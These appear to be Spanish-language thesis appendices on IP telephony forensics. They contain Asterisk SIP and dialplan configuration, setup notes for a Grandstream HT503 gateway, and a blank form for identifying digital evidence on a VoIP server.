;Canal para terminales
[101] ;Identificador de terminal
secret=101
[102]
secret=102
[103]
secret=103
[ht503fxo]
type=friend
canreinvite=no
host=172.31.38.160
nat=no
port=5062
disallow=all
dtmf=rfc2833
qualify=yes
context=default
qualify=yes
[ht503fxo1]
type=friend
canreinvite=no
host=172.31.38.161
nat=no
port=5062
disallow=all
allow=alaw
allow=ulaw
dtmf=rfc2833
context=default
qualify=yes
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Archivo extensions.conf
[default]
exten =&gt; entrada,1,Answer()
same =&gt; n,Playback(hello-world)
same =&gt; n,WaitExten(10)
exten =&gt; 1,1,Dial(SIP/0000FFFF0001,10)
same =&gt; n,Hangup()
exten =&gt; 1,1,Dial(SIP/0000FFFF0002,10)
same =&gt; n,Hangup()
exten =&gt; _09XXXXXXXX,1,Dial(SIP/ht503fxo1/${EXTEN})
same =&gt; n,Hangup()
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ANEXO 2
Configuraci&oacute;n gateway telef&oacute;nico Grandstream
La configuraci&oacute;n del gateway Grandstream HT503 se realiza a trav&eacute;s de su
interfaz web con la direcci&oacute;n IP por defecto para la red LAN 192.168.2.1, y
contrase&ntilde;a por defecto para loggin admin.
La interfaz consta de varias pesta&ntilde;as (estado, configuraci&oacute;n b&aacute;sica y avanzada,
configuraci&oacute;n de m&oacute;dulo FXS y configuraci&oacute;n de m&oacute;dulo FXO).
Para la implementaci&oacute;n del prototipo en un ambiente local se realiz&oacute; las
siguientes configuraciones en el gateway telef&oacute;nico Grandstream HT503.
Se establece una direcci&oacute;n IP para su funcionamiento en la red WAN (ver
Figura1) y se establece la direcci&oacute;n IP de la PBX IP a la que se va a conectar (ver
Figura 2).
Figura 1 Configuraci&oacute;n de direcci&oacute;n IP para la red WAN
Figura 2 Configuraci&oacute;n de direcci&oacute;n IP de la PBX IP
En configuraci&oacute;n avanzada se necesita cambiar las frecuencias por defecto (ver
Figura3).
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Figura 3 Frecuencias adecuadas para el funcionamiento del gateway telef&oacute;nico
Finalmente en el puerto FXO se establece todas las prioridades de Preferred
DTMF method en RFC2833 y en Preferred Vocoder todas las alternativas en
PCMA, como se indica en la Figura 4.
Figura 4 Selecci&oacute;n de Preferred Vocoder
Adem&aacute;s se configura las frecuencias para el tono de desconexi&oacute;n de la PSTN (ver
Figura 5).
Figura 5 Frecuencias para tono de desconexi&oacute;n de la PSTN
Finalmente se aplica los cambios, se actualiza y se reinicia el dispositivo.
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ANEXO 3
Formularios de identificaci&oacute;n de evidencia digital
FORMULARIO IDENTIFICACI&Oacute;N DE EVIDENCIA DIGITAL
Fecha:
No. Formulario:
T&eacute;cnico Forense:
Custodio:
COMPONENTES DEL SERVIDOR DE TELEFON&Iacute;A IP
SO/Plataforma:
Versi&oacute;n:
Direcci&oacute;n IP:
Direcci&oacute;n MAC:
No. de extensiones:
Extensiones:
Proveedor del Servicio de Telefon&iacute;a:
Propietario Servidor de Telefon&iacute;a IP:
Dispositivos Electr&oacute;nicos
Tipo
Firewall
Router
Switch
Tel&eacute;fono IP
Softphone
Otro
Modelo
Funci&oacute;n
Dispositivos NO Electr&oacute;nicos
Direcci&oacute;n IP
BOSQUEJO TOPOLOG&Iacute;A DE RED
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